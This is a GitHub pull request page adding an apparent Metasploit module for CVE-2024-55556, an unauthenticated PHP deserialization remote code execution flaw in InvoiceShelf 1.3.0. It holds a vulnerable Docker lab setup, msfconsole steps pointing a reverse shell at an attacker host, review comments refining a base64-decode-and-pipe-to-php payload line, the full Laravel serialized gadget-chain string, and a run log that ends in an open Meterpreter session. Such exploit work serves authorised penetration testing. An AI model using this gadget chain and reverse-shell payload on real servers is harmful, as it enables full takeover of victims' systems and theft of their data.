Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

InvoiceShelf unauthenticated PHP deserialization vulnerability [CVE-2024-55556] #19950

Open
wants to merge 4 commits into
base: master
Choose a base branch
from

Conversation

h00die-gr3y
Copy link
Contributor

@h00die-gr3y h00die-gr3y commented Mar 7, 2025

InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional
invoices & estimates and is based on the PHP framework Laravel.
InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct PHP deserialization attacks. This is possible when the SESSION_DRIVER=cookie option is set on the default InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie.
These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using Laravel's encrypt() function.
An attacker in possession of the APP_KEY would therefore be able to retrieve the cookie, uncipher it and modify the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve remote command execution. InvoiceShelf version 1.3.0 and lower is vulnerable.
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information.

The following release was tested.

  • InvoiceShelf 1.3.0 on Docker

Installation steps to install InvoiceShelf on Docker

  • Follow the instructions here for docker or manual install
  • Please ensure that SESSION_DRIVER=cookie is set to cookie.
  • cp .env.example to .env and note down the APP_KEY setting.
  • To make life easy, use the docker-compose.yml below to install a vulnerable InvoiceShelf on Docker.
 #-------------------------------------------
 # InvoiceShelf MySQL docker-compose variant
 # Repo : https://github.com/InvoiceShelf/docker
 #-------------------------------------------

services:
  invoiceshelf_db:
    container_name: invoiceshelf_db
    image: mariadb:10
    environment:
      - MYSQL_DATABASE=invoiceshelf
      - MYSQL_USER=invoiceshelf
      - MYSQL_PASSWORD=Passw0rd
      - MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=true
    expose:
      - 3306
    volumes:
      - mysql:/var/lib/mysql
    networks:
      - invoiceshelf
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "mariadb-admin" ,"ping", "-h", "localhost"]
      timeout: 20s
      retries: 10

  invoiceshelf:
    image: invoiceshelf/invoiceshelf:1.3.0
    container_name: invoiceshelf
    ports:
      - 90:80
    volumes:
      - ./invoiceshelf_mysql/data:/data
      - ./invoiceshelf_mysql/conf:/conf
    networks:
      - invoiceshelf
    environment:
      # PHP timezone e.g. PHP_TZ=America/New_York
      - PHP_TZ=UTC
      - TIMEZONE=UTC
      - APP_NAME=Laravel
      - APP_ENV=local
      - APP_DEBUG=true
      - APP_URL=http://localhost:90
      - DB_CONNECTION=mysql
      - DB_HOST=invoiceshelf_db
      - DB_PORT=3306
      - DB_DATABASE=invoiceshelf
      - DB_USERNAME=invoiceshelf
      - DB_PASSWORD=Passw0rd
      - DB_PASSWORD_FILE=
      -      - CACHE_STORE=file
      - SESSION_DRIVER=cookie
      - SESSION_LIFETIME=1440
      - SESSION_ENCRYPT=false
      - SESSION_PATH=/
      - SESSION_DOMAIN=localhost
      - SANCTUM_STATEFUL_DOMAINS=localhost:90
      - STARTUP_DELAY=
      #- MAIL_DRIVER=smtp
      #- MAIL_HOST=smtp.mailtrap.io
      #- MAIL_PORT=2525
      #- MAIL_USERNAME=null
      #- MAIL_PASSWORD=null
      #- MAIL_PASSWORD_FILE=<filename>
      #- MAIL_ENCRYPTION=null
    restart: unless-stopped
    depends_on:
      - invoiceshelf_db

networks:
  invoiceshelf:

volumes:
  mysql:
  • Execute docker-compose up -d
  • You can access the InvoiceShelf application at http://localhost:90

Verification Steps

  • Start msfconsole
  • use exploit/linux/http/linux/http/invoiceshelf_uauth_rce_cve_2024_55556
  • set rhosts <ip-target>
  • set rport <port>
  • set lhost <attacker-ip>
  • set target <0=PHP Command, 1=Unix/Linux Command>
  • exploit
    you should get a reverse shell or Meterpreter session depending on the payload and target settings.


print_status('Generate an encrypted serialized cookie payload with our cracked APP_KEY.')
pl = payload.encoded
pl = "php -r \"#{payload.encoded.gsub('"', '\"').gsub('$', '\$')}\"" if target['Type'] == :php
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you want to avoid certain type of characters, I think you could define badchars with list of undesired characters.

Copy link
Contributor Author

@h00die-gr3y h00die-gr3y Mar 10, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yep, but in this case I would like to stick to the original code and do the escapes because using the badchars option results in an eval() call which can be blocked in php. The original payload code is trying to bypass this.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Got it, in that case, alternative would be using payload/cmd/unix/reverse_php_ssl for PHP targets as it generates PHP command payload without need of substituting anything.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Or another alternative would be (code not tested):

Suggested change
pl = "php -r \"#{payload.encoded.gsub('"', '\"').gsub('$', '\$')}\"" if target['Type'] == :php
pl = "base64 -d <<<#{Base64.strict_encode64(payload.encoded)} | php " if target['Type'] == :php

Copy link
Contributor Author

@h00die-gr3y h00die-gr3y Mar 11, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cool, I like your suggestion.
Changed the command line a bit to make it more robust.

pl = "echo -n #{Base64.strict_encode64(payload.encoded)}|(base64 -d||openssl enc -base64 -d)|php" if target['Type'] == :php

Used echo instead of <<< so that it also works in non-bash shells.
Also included support for openssl if base64 is not installed.
See 1ca57c8.

@msutovsky-r7
Copy link
Contributor

msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > run 
[*] Started reverse TCP handler on 192.168.95.142:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.95.145:90 can be exploited.
[+] The target appears to be vulnerable. InvoiceShelf 1.3.0
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.
[*] Grabbing the cookies.
XSRF-TOKEN=eyJpdiI6Ik9GbFo5YmVTNkVGb2hvZzIzK1B2WFE9PSIsInZhbHVlIjoidFZmTThQcHlmVUNzSllYRlBPc3NZQkxZKzJzNzB4QlIrcWc1cUN1NlNta3RNdjVnSWpsU2d1dVp5RFFuRi9PNlc1bXNraFVYRnJ1ZnBhQjRROFR5cmI3U2hPMzVnYjlycFhoMjRqVlpPUk1xUVlyWXBkNzNyUjB4Z2FQdy9oSHYiLCJtYWMiOiJmOTFmYjZlMWVjMmMxMDg5YmQxMGU1ZDcwMGY0ZjYzMjM4NmVjZmQzODA0MDVmZTNiNDAxYjVlZGZlNGE0ZjM4IiwidGFnIjoiIn0%3D; samesite=lax; laravel_session=eyJpdiI6IkVoYWhxTFFLbWxUUFlYRDh5R2ZrT0E9PSIsInZhbHVlIjoibFRJb09UYnlvdEwvZGRVYjMyeG5wK1dtVE1pVFh3ZTNpOTBpNWppMTZvOWtSRC9BOGFPK2ZUUkczNEtDME15L0lrTWZ0R0VaZW80NkJMNnFBWHFySzI5bGd2QXMwZEpobysxaEk5M01EZTFSRzBRWDBZNFN6bjFOOWFhcjFFTGYiLCJtYWMiOiI4YzRlNzE4NTIxNjJmYjcwNjhhNTU4NTgzMzNmMDk1ODAwYzY3ZWQ2NTljNTZlOGU3YTJhM2I5OWU0ODJlNjM4IiwidGFnIjoiIn0%3D; samesite=lax; 6T8mdTkWLdX0d8dLcUkUc9J7KqyNelbktiukI5qb=eyJpdiI6Imttcm44SkpYc1o5dHkzTDlOd1lIanc9PSIsInZhbHVlIjoidEgxNWlaQTZWRFVWeDllTVVsMjA3VVBIWDJ1dW02eDJmbmlEdG1yMU1iclNjK0liYjBQRWtseDdGdEFWNVJMRjZzSmUrR3RtR0RPYXFBbCtqK21Yd21jUFVnL3ZhNHZUSm1VYmVOakpabU5Da0Via3U3bTN4ZnJNSGlkRFVINjZlMElmNlYwVVV0dS9hTlI1eWxjNm1NNjFYRHg1Y1NkV1ZEWG1ZZDYrYi9YQzU3bWd2VFBPWXExQVBPRENJRXA4TWJVNllwZStISnU4ZW9yK0VCQnVBeXlkL2ZTNlMyVUFmclY1MEh4M09NMW5aeWZUSm1SamRDMGVKV3ZNcmNyV3FNZkRhUjBNOU9ORXBSMVJwdWdHbVhDeVNFbE16ZkFXUVN1ZnJnWG5ZeVFMaGFZb1l5ZndJSGZtcDV6ZHlKd3F3TUxEOVFWcmdRd1lpQ09tTHRxcldkV2VTRC8zalVLQlRvWWdldlB0azZPV0xkUVlzMS9nL3hRc0MzeWJKdDc1WTV3M0RBRTRKU2V6L09qWjVJSEVyQT09IiwibWFjIjoiNTIxMjgwOGU0MDVmZWRjY2JhMTBjMjgxZDE2OTdmOThhNDNhMjkwZWNhNDBjMzkyMWU1MWE3ODVmM2Q3OGQ0YSIsInRhZyI6IiJ9;
[+] APP_KEY is valid: base64:lzYQ3KQDB/RCtB5JWPvuK2wev2jN1u/jReQfUt1zV3o=
[+] Unciphered value: e076073d07d35fff278dad88797e9845192b5da5|{"data":"a:3:{s:6:\"_token\";s:40:\"oSq62eg988co6r1qZwyi3oAypMdQICxgJg2ghyeT\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.95.145:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741689215}
[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (40004 bytes) to 192.168.95.145
[*] Meterpreter session 2 opened (192.168.95.142:4444 -> 192.168.95.145:49088) at 2025-03-10 11:33:35 +0100


meterpreter > 
meterpreter > sysinfo
Computer    : 2e610f5a47d8
OS          : Linux 2e610f5a47d8 6.8.0-54-generic #56-Ubuntu SMP PREEMPT_DYNAMIC Sat Feb  8 00:37:57 UTC 2025 x86_64
Meterpreter : php/linux
meterpreter > 


print_status('Generate an encrypted serialized cookie payload with our cracked APP_KEY.')
pl = payload.encoded
pl = "echo -n #{Base64.strict_encode64(payload.encoded)}|(base64 -d||openssl enc -base64 -d)|php" if target['Type'] == :php
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

From my testing, this variant is more stable:

Suggested change
pl = "echo -n #{Base64.strict_encode64(payload.encoded)}|(base64 -d||openssl enc -base64 -d)|php" if target['Type'] == :php
pl = "echo '#{Base64.strict_encode64(payload.encoded)}'|(base64 -d||openssl enc -base64 -d)|php" if target['Type'] == :php

Comment on lines +161 to +162
pl_len = pl.length
laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl_len}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;})
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Also, we can probably inline this:

Suggested change
pl_len = pl.length
laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl_len}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;})
laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl.length}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;})

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants